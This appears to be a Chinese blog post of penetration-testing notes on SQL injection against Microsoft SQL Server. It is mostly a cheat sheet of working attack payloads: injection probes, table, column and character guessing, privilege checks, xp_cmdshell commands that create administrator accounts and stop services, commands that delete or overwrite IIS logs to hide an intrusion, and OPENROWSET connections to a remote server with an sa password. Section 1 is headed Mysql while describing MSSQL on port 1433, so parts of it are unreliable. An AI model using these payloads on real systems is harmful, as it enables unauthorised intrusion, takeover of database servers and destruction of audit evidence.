16、渗透测试笔记_SQL注入(1)_20191106

1、Mysql服务、端口、后缀

1.1、服务

  • 重启服务,使其生效:service.msc

1.2、端口

  • TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING

1.3、后缀

  • 1.mdf-----------------数据库文件
  • 1_log.ldf-------------数据库日志文件

2、常见语句

2.1、创建数据库

CREATE DATABASE database-name

2.2、删除数据库

drop database dbname

2.3、查询所有

select * from 表名

select * from student

3、mssql数据库权限

  • **sa权限:**数据库操作、文件管理、命令执行、注册表读取等system
  • **db权限:**文件管理、数据库操作等users-administrators
  • **public权限:**数据库操作 guest-users

4、调用数据库代码

<%
set conn = server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
  • provider 后面的不用管,照写
  • source 后面的可以是ip地址 local是指本地地址
  • sa是内置用户,密码在安装过程中设置(明文显示)
  • database后面是要连接的数据库名称

5、注入语句

  • 5.1、判断是否有注入
and 1=1
and 1=2
/
-0
  • 5.2、初步判断是否是mysql
and user >0
  • 5.3、判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
  • 5.4、注入参数
'and [查询条件] and "='
  • 5.5、搜索时没过滤参数的
'and [查询条件] and '%25'='
  • 5.6、猜数表名
and (select Count(*) from [表名])>0
  • 5.7、猜字段
and (select Count(字段名) from 表名)>0
  • 5.8、猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
  • 5.9.1、猜字段的ascii值 (access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
  • 5.9.2、猜字段的ascii值 (mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
  • 5.10、测试权限结构(mssql)
and 1= (select IS_SRVROLEMEMBER('sysadmin'));--
and 1= (select IS_SRVROLEMEMBER('serveradmin'));--
and 1= (select IS_SRVROLEMEMBER('setupadmin'));--
and 1= (select IS_SRVROLEMEMBER('securityadmin'));--
and 1= (select IS_SRVROLEMEMBER('diskadmin'));--
and 1= (select IS_SRVROLEMEMBER('bulkadmin'));--
and 1= (select IS_MEMBER('db_owner'));--
  • 5.11、添加mssql和系统的账户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  • 5.12、获取数据库信息

    5.12.1、数据库版本

    ?id=1 and 1=(select @@version)
    

    5.12.2、获取第一个用户数据库

    ?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
    

    5.12.3、获取第一张表 threads

    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
    

    5.12.4、获取第一列列名 uname

    ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))--
    
  • 5.13、注入点权限判断

and 1=(select is_srvrolemember('sysadmin'))       //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner'))       //判断是否是库权限
and 1=(select is_srvrolemember('public'))         //判断是否是public权限
and 1=convert(int,db_name())或1=(select db_name())//当前数据库名
and 1=(select @@servername)                       //本地服务名
and 1=(select HAS_DBACCESS('master'))             //判断是否有库读取权限

6、扩展存储注入攻击

6.1、检测与恢复扩展存储

  • 判断xp_cmdshell 扩展存储是否存在

    and 1=(select count(*) from master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')

  • 判断xp_regread扩展存储过程是否存在

    and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

  • 恢复

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

    exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

6.2、sa权限下扩展存储注入攻击

  • 新建用户

    ;exec master..xp_cmdshell 'net user test test /add'

    exec master..xp_cmdshell 'net localgroup administrators test /add'

  • 添加和删除一个SA权限的用户test

    exec master.dbo.sp_addlogin test password

    exec master.dbo.sp_addsrvrolemember test,sysadmin

  • 停掉或激活某个服务

    exec master..xp_servicecontrol 'stop','schedule'

    exec master..xp_servicecontrol 'start','schedule'

6.3、sa权限下扩展存储攻击利用方法

  • 删除日志记录

    ;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'

  • 替换日志记录

    ;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'

  • 开启远程数据库1

    ;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table')

  • 开启远程数据库2

    ;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Adress=202.100.100.1,1433;','select * from table')

发布了38 篇原创文章 · 获赞 135 · 访问量 2796

猜你喜欢

转载自blog.csdn.net/weixin_44023693/article/details/102938586
今日推荐